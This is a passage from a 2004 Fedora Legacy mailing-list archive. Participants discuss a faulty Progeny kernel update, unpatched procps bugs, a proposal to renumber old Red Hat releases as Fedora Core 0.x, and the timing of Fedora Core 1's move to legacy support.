<6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net>
<200408061021.52571.jkeating@j2solutions.net>
Message-ID: <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net>
Greetings Jesse:
From Progeny:
"The most recent kernel security advisory (TSSA-2004:6552-01)
contains a bug that may cause some customers machines appear
to hang during the boot process while trying to load the loopback
device or experience problems using netstat. While we have a
very thorough QA process, especially for something as important
as the kernel, sometimes a bug will slip through. We have been
working with the customers who have this problem to replicate
it on our own machines and hope to have a fix shortly."
Thank you.
At 01:21 PM 8/6/2004, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>On Thursday 05 August 2004 05:13, Peter M. Abraham wrote:
> > Please be sure to keep an eye out on what Progeny did wrong in the
> > latest kernel update they released yesterday; please don't include
> > those problems in the kernel .
> >
> > http://forum.psoft.net/showthread.php?t=6449 (last post -- RedHat
> > 7.3) and
> > http://www.webhostingtalk.com/showthread.php?s=&threadid=305167 (last
> > post RedHat 9).
>
>Forgive my lack of time, what did they do wrong? I haven't looked at
>the advisories yet.
From bhirt at mobygames.com Fri Aug 6 19:04:01 2004
From: bhirt at mobygames.com (Brian Hirt)
Date: Fri, 6 Aug 2004 13:04:01 -0600
Subject: CORE1 patches
Message-ID: <60FA5187-E7DB-11D8-B1E0-000D93AD2E74@mobygames.com>
what do we do about bugs in CORE1 that the RedHat Fedora Project isn't
planning on releasing patches for? Is the legacy project going to be
issuing them? There's a known bug in procsps-2 that effects vmstat,
which hasn't been patched. i submitted a bug to redhat bugzilla, and
it was closed saying that it's been fixed in a newer version of
procps-3, but an updated rpm hasn't been issued, and it doesn't look
like one will be.
From jkeating at j2solutions.net Fri Aug 6 19:21:49 2004
From: jkeating at j2solutions.net (Jesse Keating)
Date: Fri, 6 Aug 2004 12:21:49 -0700
Subject: Kernel update advisory text to approve...
In-Reply-To: <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net>
References: <1090020882.13707.10.camel@mdlinux>
<200408061021.52571.jkeating@j2solutions.net>
<6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net>
Message-ID: <200408061221.52043.jkeating@j2solutions.net>
On Friday 06 August 2004 11:00, Peter M. Abraham wrote:
> Greetings Jesse:
>
> From Progeny:
>
> "The most recent kernel security advisory
> (TSSA-2004:6552-01) contains a bug that may cause some customers
> machines appear to hang during the boot process while trying to load
> the loopback device or experience problems using netstat. While we
> have a very thorough QA process, especially for something as
> important as the kernel, sometimes a bug will slip through. We have
> been working with the customers who have this problem to replicate it
> on our own machines and hope to have a fix shortly."
>
> Thank you.
Very interesting. I wonder what they did to introduce that. Has
anybody tested our kernel in updates-testing to see if ours has the
same problem?
--
Jesse Keating RHCE (geek.j2solutions.net)
Fedora Legacy Team (www.fedoralegacy.org)
GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub)
Was I helpful? Let others know:
http://svcs.affero.net/rm.php?r=jkeating
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: signature
URL:
From simon at nzservers.com Fri Aug 6 19:32:30 2004
From: simon at nzservers.com (Simon Weller)
Date: Fri, 6 Aug 2004 14:32:30 -0500
Subject: Kernel update advisory text to approve...
In-Reply-To: <200408061221.52043.jkeating@j2solutions.net>
References: <1090020882.13707.10.camel@mdlinux>
<6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net>
<200408061221.52043.jkeating@j2solutions.net>
Message-ID: <200408061432.30221.simon@nzservers.com>
On Friday 06 August 2004 02:21 pm, Jesse Keating wrote:
> On Friday 06 August 2004 11:00, Peter M. Abraham wrote:
> > Greetings Jesse:
> >
> > From Progeny:
> >
> > "The most recent kernel security advisory
> > (TSSA-2004:6552-01) contains a bug that may cause some customers
> > machines appear to hang during the boot process while trying to load
> > the loopback device or experience problems using netstat. While we
> > have a very thorough QA process, especially for something as
> > important as the kernel, sometimes a bug will slip through. We have
> > been working with the customers who have this problem to replicate it
> > on our own machines and hope to have a fix shortly."
> >
> > Thank you.
>
> Very interesting. I wonder what they did to introduce that. Has
> anybody tested our kernel in updates-testing to see if ours has the
> same problem?
I have zero problems with netstat on the latest test kernel, and haven't seen
any lockups on boot.
It sounds like a pretty strange issue...maybe they've updated a dodgy network
card driver somewhere along the line.
- Si
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From michal at harddata.com Fri Aug 6 20:23:24 2004
From: michal at harddata.com (Michal Jaegermann)
Date: Fri, 6 Aug 2004 14:23:24 -0600
Subject: Kernel update advisory text to approve...
In-Reply-To: <200408061221.52043.jkeating@j2solutions.net>;
from jkeating@j2solutions.net on Fri, Aug 06, 2004 at 12:21:49PM
-0700
References: <1090020882.13707.10.camel@mdlinux>
<200408061021.52571.jkeating@j2solutions.net>
<6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net>
<200408061221.52043.jkeating@j2solutions.net>
Message-ID: <20040806142324.A5997@mail.harddata.com>
On Fri, Aug 06, 2004 at 12:21:49PM -0700, Jesse Keating wrote:
>
> Very interesting. I wonder what they did to introduce that.
Nothing special. Note "some customers". Something likely
triggered some problem on a dodgy hardware. You are not likely
to discover anything of that sort in a quite narrow circle
of people who bother to look at pre-release stuff. It may be
also rather hard to figure out what that may be if you do
not have an access to such configuration (likely an understatemnt
of the year).
> Has anybody tested our kernel in updates-testing to see if ours
> has the same problem?
Not as far as I can tell. I am also running right now kernels
which on the top of that have patches for some further issues
and they too work fine everywhere where I tried.
In practice only releases will get a wider testing coverage
and a cure for possible problems is not extending ab infinium
a testing period, as this is not likely to show anything, but
get in a matter of small days next releases if something needs
to be corrected.
Michal
From b.j.smith at ieee.org Fri Aug 6 20:50:10 2004
From: b.j.smith at ieee.org (Bryan J. Smith)
Date: Fri, 06 Aug 2004 16:50:10 -0400
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
Message-ID: <1091825410.1168.208.camel@patriux.localdomain>
Axel Thimm wrote:
> There was a suggestion (Nov 2003?) to "rename" RHL7.3 etc. to
> FC0.7.3 etc. in order to get the disttag issues straightened out
> (the natural disttag "rh9" is not rpm-less than "fc1").
I figured something as such, but didn't want to ass-u-me anything.
I always wondered why they they just didn't call it Fedora Core 10,
leaving a "hint" that it was related, without the trademark issues.
So makes you wonder if it would have not been better after all with
the disttag issues!
> If I am not wrong fedora.us is using a similar scheme with stripped
> away distids, i.e. they don't use fc0.7.3 but plain 0.7.3 in the
> versioning.
Yeah, I thought I saw something somewhere in the SRPMS
(or am I talking out of my ass about something else?).
> FWIW I would very much welcome a common versioning scheme for RHL
> & FC that could look like
> fc0.7.3 < fc0.8.0 < fc0.9 < fc1 < fc2 < fc2.90 etc
> The confusion will be high, and unless all packaging parties use
> the same semantics users will be lost.
Yeah, that's that problem. How far do you go?
Do you just use my suggestion, only changing the "legacy" "redhat-
release" package?
Or do we go so far to re-spin the whole, still legacy-supported
0.7.3 and 9 releases with lots of various trademark modifications,
although we leave some of the 7.3/9 references for compatibility?
At
> The discussion in the past has shown very low to none interest
> by RH, and N^2 disttag suggestions from N 3rd parties, so there
> is low chance of anything happening.
That's sad. I _am_ understanding of what Red Hat decided to do,
and their "hands are tied" for trademark reasons which is why
most of the confusion exists. But they _could_ have at least
thought of these things _beforehand_.
Oh well, I guess the best thing we can do is just use the
nomenclature everywhere. When I reference _any_ release now,
I list it as a "Fedora Core" release, typically with a "Lx.x"
in front of it, and then an optional tag of either "[current],"
"[legacy]" or "[retired]".
E.g.,
Fedora Core L6.2 [retired]
Fedora Core L7.2 [retired]
Fedora Core L7.3 [legacy]
Fedora Core L8 [retired]
Fedora Core L9 [legacy]
Fedora Core 1 [current]
Fedora Core 2 [current]
I then replace the "L" with "0." in any formal files/versions.
-- Bryan
P.S. Is Fedora Core 1 becoming "legacy" anytime soon? We're
almost to 1 year now.
--
Linux Enthusiasts call me anti-Linux.
Windows Enthusisats call me anti-Microsoft.
They both must be correct because I have over a
decade of experience with both in mission critical
environments, resulting in a bigotry dedicated to
mitigating risk and focusing on technologies ...
not products or vendors
--------------------------------------------------
Bryan J. Smith, E.I. b.j.smith at ieee.org
From jkeating at j2solutions.net Fri Aug 6 21:15:43 2004
From: jkeating at j2solutions.net (Jesse Keating)
Date: Fri, 6 Aug 2004 14:15:43 -0700
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <1091825410.1168.208.camel@patriux.localdomain>
References: <1091825410.1168.208.camel@patriux.localdomain>
Message-ID: <200408061415.46425.jkeating@j2solutions.net>
On Friday 06 August 2004 13:50, Bryan J. Smith wrote:
> P.S. Is Fedora Core 1 becoming "legacy" anytime soon? We're
> almost to 1 year now.
Sure, when RH stops pushing updates for it. Tentitive date is the
release of FC3 Test 3.
--
Jesse Keating RHCE (geek.j2solutions.net)
Fedora Legacy Team (www.fedoralegacy.org)
GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub)
Was I helpful? Let others know:
http://svcs.affero.net/rm.php?r=jkeating
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: signature
URL:
From notting at redhat.com Fri Aug 6 21:23:03 2004
From: notting at redhat.com (Bill Nottingham)
Date: Fri, 6 Aug 2004 17:23:03 -0400
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <200408061415.46425.jkeating@j2solutions.net>
References: <1091825410.1168.208.camel@patriux.localdomain>
<200408061415.46425.jkeating@j2solutions.net>
Message-ID: <20040806212303.GA13423@nostromo.devel.redhat.com>
> On Friday 06 August 2004 13:50, Bryan J. Smith wrote:
> > P.S. Is Fedora Core 1 becoming "legacy" anytime soon? We're
> > almost to 1 year now.
>
> Sure, when RH stops pushing updates for it. Tentitive date is the
> release of FC3 Test 3.
Test 2, actually. See
http://fedora.redhat.com/
Bill
From jkeating at j2solutions.net Fri Aug 6 21:30:28 2004
From: jkeating at j2solutions.net (Jesse Keating)
Date: Fri, 6 Aug 2004 14:30:28 -0700
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <20040806212303.GA13423@nostromo.devel.redhat.com>
References: <1091825410.1168.208.camel@patriux.localdomain>
<200408061415.46425.jkeating@j2solutions.net>
<20040806212303.GA13423@nostromo.devel.redhat.com>
Message-ID: <200408061430.28765.jkeating@j2solutions.net>
On Friday 06 August 2004 14:23, Bill Nottingham wrote:
> > Sure, when RH stops pushing updates for it. Tentitive date is the
> > release of FC3 Test 3.
>
> Test 2, actually. See
>
> http://fedora.redhat.com/
Whoops. I stand (sit) corrected.
--
Jesse Keating RHCE (geek.j2solutions.net)
Fedora Legacy Team (www.fedoralegacy.org)
GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub)
Was I helpful? Let others know:
http://svcs.affero.net/rm.php?r=jkeating
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: signature
URL:
From kewley at caltech.edu Fri Aug 6 23:54:27 2004
From: kewley at caltech.edu (David Kewley)
Date: Fri, 6 Aug 2004 16:54:27 -0700
Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x
In-Reply-To: <200408061430.28765.jkeating@j2solutions.net>
References: <1091825410.1168.208.camel@patriux.localdomain>
<20040806212303.GA13423@nostromo.devel.redhat.com>
<200408061430.28765.jkeating@j2solutions.net>
Message-ID: <200408061654.27761.kewley@caltech.edu>
Jesse Keating wrote on Friday 06 August 2004 14:30:
> On Friday 06 August 2004 14:23, Bill Nottingham wrote:
> > > Sure, when RH stops pushing updates for it. Tentitive date is
> > > the release of FC3 Test 3.
> >
> > Test 2, actually. See
> >
> > http://fedora.redhat.com/
>
> Whoops. I stand (sit) corrected.
The full announcement is:
"The Fedora Steering Committee proposes to transfer Fedora Core 1 to the
Fedora Legacy Project at the point Fedora Core 3 Test 2 is released.
This is currently scheduled for September 13, 2004.
This represents a one month extension from the original timetable but an
extension we hope will enable the Fedora Legacy Project to receive
considerably better quality access to the codebase.
For more information on the Fedora Legacy Project, or if you wish to
join the team please see http://fedoralegacy.org/."
-----
Now, I'm curious about a few things in this announcement.